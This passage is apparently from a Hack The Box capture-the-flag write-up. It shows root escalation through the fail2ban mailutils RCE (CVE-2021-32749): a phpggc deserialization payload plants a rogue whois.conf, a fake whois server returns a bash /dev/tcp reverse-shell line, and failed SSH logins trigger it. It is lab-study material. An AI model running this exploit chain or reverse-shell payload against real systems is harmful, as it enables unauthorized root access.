-rwxr-xr-x 1 root root 6712 Sep 23 2018 /etc/init.d/fail2ban
-rwxr-xr-x 1 root root 3809 Jan 10 2019 /etc/init.d/hwclock.sh
-rwxr-xr-x 1 root root 1479 Oct 10 2016 /etc/init.d/keyboard-setup.sh
-rwxr-xr-x 1 root root 2044 Feb 9 2019 /etc/init.d/kmod
-rwxr-xr-x 1 root root 5930 May 10 2021 /etc/init.d/mysql
-rwxr-xr-x 1 root root 4445 Aug 25 2018 /etc/init.d/networking
-rwxr-xr-x 1 opentsdb opentsdb 2863 Jul 9 2021 /etc/init.d/opentsdb
-rwxr-xr-x 1 root root 1846 Oct 9 2019 /etc/init.d/open-vm-tools
-rwxr-xr-x 1 root root 4793 Oct 24 2021 /etc/init.d/php7.3-fpm
-rwxr-xr-x 1 root root 924 May 31 2018 /etc/init.d/procps
-rwxr-xr-x 1 root root 4417 Mar 15 2019 /etc/init.d/rsync
-rwxr-xr-x 1 root root 2864 Feb 26 2019 /etc/init.d/rsyslog
-rwxr-xr-x 1 root root 3939 Jan 31 2020 /etc/init.d/ssh
-rwxr-xr-x 1 root root 6872 Jan 29 2021 /etc/init.d/udev
-rwxr-xr-x 1 root root 2757 Nov 23 2016 /etc/init.d/x11-common

[email protected]:~$ fail2ban-client --version
Fail2Ban v0.10.2

However when searching for the running version (0.10.2), we stumble upon an interesting vulnerability:

Possible RCE vulnerability in mailing action using mailutils (CVE-2021-32749)
Command mail from mailutils package used in mail actions like mail-whois can execute command if unescaped sequences (\n~) are available in “foreign” input (for instance in whois output).
https://github.com/fail2ban/fail2ban/security/advisories/GHSA-m985-3f3v-cwmm

fail2ban is tool used to analyse logs (or other data sources) in search of brute force traces in order to block such attempts based on the IP address. There are plenty of rules for different services (SSH, SMTP, HTTP, etc.). There are also defined actions which could be performed after blocking a client. One of these actions is sending an e-mail:

1
[[email protected] ~]$ echo "test e-mail" | mail -s "subject" [email protected]

Looking at the config file on the box we confirm that fail2ban use mail as Mail Transfer Agent (mta) to notify when a brute-force attempt is detected:

1
2
3
4
5
6
7
8
9
[email protected]:~$ cat /etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 127.0.0.1
bantime = 60s
destemail = [email protected]
sender = [email protected]
sendername = Fail2ban
mta = mail
action = %(action_mwl)s

Digging into the config file we can find that only the sshd jail is activated:

1
2
3
[email protected]:~$ cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true

We have the possibility to trigger the jail by sending brute-force attempts on the SSH port. Once triggered the jail will send an email to [email protected]:

1
2
3
4
5
6
7
8
9
[email protected]:/etc/fail2ban$ cat action.d/mail.conf
[...]
actionban = printf %%b "Hi,\n
The IP <ip> has just been banned by Fail2Ban after
<failures> attempts against <name>.\n\n
Here is more information about <ip> :\n
`%(_whois_command)s`\n
Regards,\n
Fail2Ban"|mail -s "[Fail2Ban] <name>: banned <ip> from <fq-hostname>" <dest>

According to the vulnerability writeup we need to control our whois server response to hold the malicious payload.

Malicious whois server

First of all, we need to configure whois to connect to our own server. Unfortunately we don’t have permission to edit /etc/hosts to do so…

One alternative is taking advantage of the whois.conf config file to define the IP address of the Whois server to use.
Again we don’t have write permission to the /etc/ folder either.

That’s where the opencats arbitrary file will come useful since it gives us permission to write to /usr/local/etc (local equivalent to /etc for software).

Trying to do so we quickly stumble upon another blocker, the file we uploaded earlier using opencats vulnerability output the following format:

1
2
[email protected]:~$ cat /dev/shm/hg8
[{"Expires":1,"Discard":false,"Value":"test\n"}]

Our actual test string is only a part of the file content created by opencats.

This is not going to work for our initial plan to create the whois.conf since whois expect the configuration file to be a server address or domain name list:

1
2
3
4
5
6
[[email protected] ~]$ man whois.conf
[...]
This file contains a list of WHOIS servers which can augment or override the built-in list of the client.
It's a plain text file in ASCII encoding. Each line consists of two fields: a pattern to match WHOIS object identifier and a corresponding WHOIS server domain name.

Fields are separated by non-empty sequence of space or a tabular characters. A line starting with a hash character is a free comment and it's not considered.

Just to make sure we can give a try on our local machine:

1
2
3
4
[[email protected] ~]$ cat /usr/local/etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"10.10.14.67\n"}]
[[email protected] ~]$ whois example.org
Cannot parse this line: [{"Expires":1,"Discard":false,"Value":"10.10.14.67\n"}]

We get a parsing error message as expected. However when checking the source code of whois we can see that a regex is being applied to extract the server IP Address or Domain name.

1
2
3
4
5
6
[[email protected] ~]$ cat /ect/whois.conf
# whois configuration file
[..]
# Each entry is a single
# text line and consists of a regular expression pattern to match and
# the whois server to be used for it, separated by blank space.

So if we include a proper regex escape maybe the config file can be parsed properly.

After digging in the madness of regex and several trial and errors we can come up with the following valid format:

1
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.67]\n"}]

https://user-images.githubusercontent.com/9076747/166314333-56a95f13-e803-4e87-93db-06c44bdbc0c4.png

Once placed in the config, it is parsed correctly:

1
2
3
4
[[email protected] ~]$ cat /etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.67]\n"}]
[[email protected] ~]$ whois example.org
connect: Connection refused

We can now go back to the opencats vulnerability and send the following payload:

1
2
[[email protected] ~]$ cat whoisconf
}]|. [10.10.14.67]

Let’s build it as we did earlier:

1
2
$ ./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf whoisconf
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A19%3A%22%7D%5D%7C.+%5B10.10.14.67%5D%0A%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3B%7Di%3A7%3Bi%3A7%3B%7D

Then intercept and inject the payload with Burp. We can then verify it’s been upload properly using jennifer account:

1
2
[email protected]:~$ cat /usr/local/etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.67]\n"}]

Let’s open our reverse shell listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on 0.0.0.0 8585

Now we create our reverse shell and host it on a simple whois sever containing the reverse shell payload according to the fail2ban vulnerability write-up:

1
2
3
4
[[email protected] ~]$ cat hg8shell
~| bash -c "bash -i >& /dev/tcp/10.10.14.67/8585 0>&1" &
$ sudo nc -nvlkp 43 -c "cat hg8shell"
listening on [any] 43 ...

We can verify from jennifer account that our whois server return the correct payload:

1
2
[email protected]:~$ whois 10.10.14.67
~| bash -c "bash -i >& /dev/tcp/10.10.14.67/8585 0>&1" &

Last step is to trigger fail2ban to send an email by attempting a brute-force on the SSH port:

1
2
3
4
5
6
7
[[email protected] ~]$ ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
[email protected]: Permission denied (publickey,password).

In order to get the attacker information, fail2ban will perform a whois on our IP, which will return the malicious payload to be executed by fail2ban as root:

1
2
3
4
5
listening on [any] 8585 ...
10.129.96.181: inverse host lookup failed: Unknown host
connect to [10.10.14.67] from (UNKNOWN) [10.129.96.181] 60760
[email protected]:/# cat /root/root.txt
261xxxxxxxxxxxxxxxxxf80

References

OpenTSDB 2.4.0 Remote Code Execution
fail2ban – Remote Code Execution


That’s it folks! As always do not hesitate to contact me for any questions or feedback!

See you next time ;)

-hg8



CTFHackTheBoxHard Box
, , , , , , , , , , , , , , ,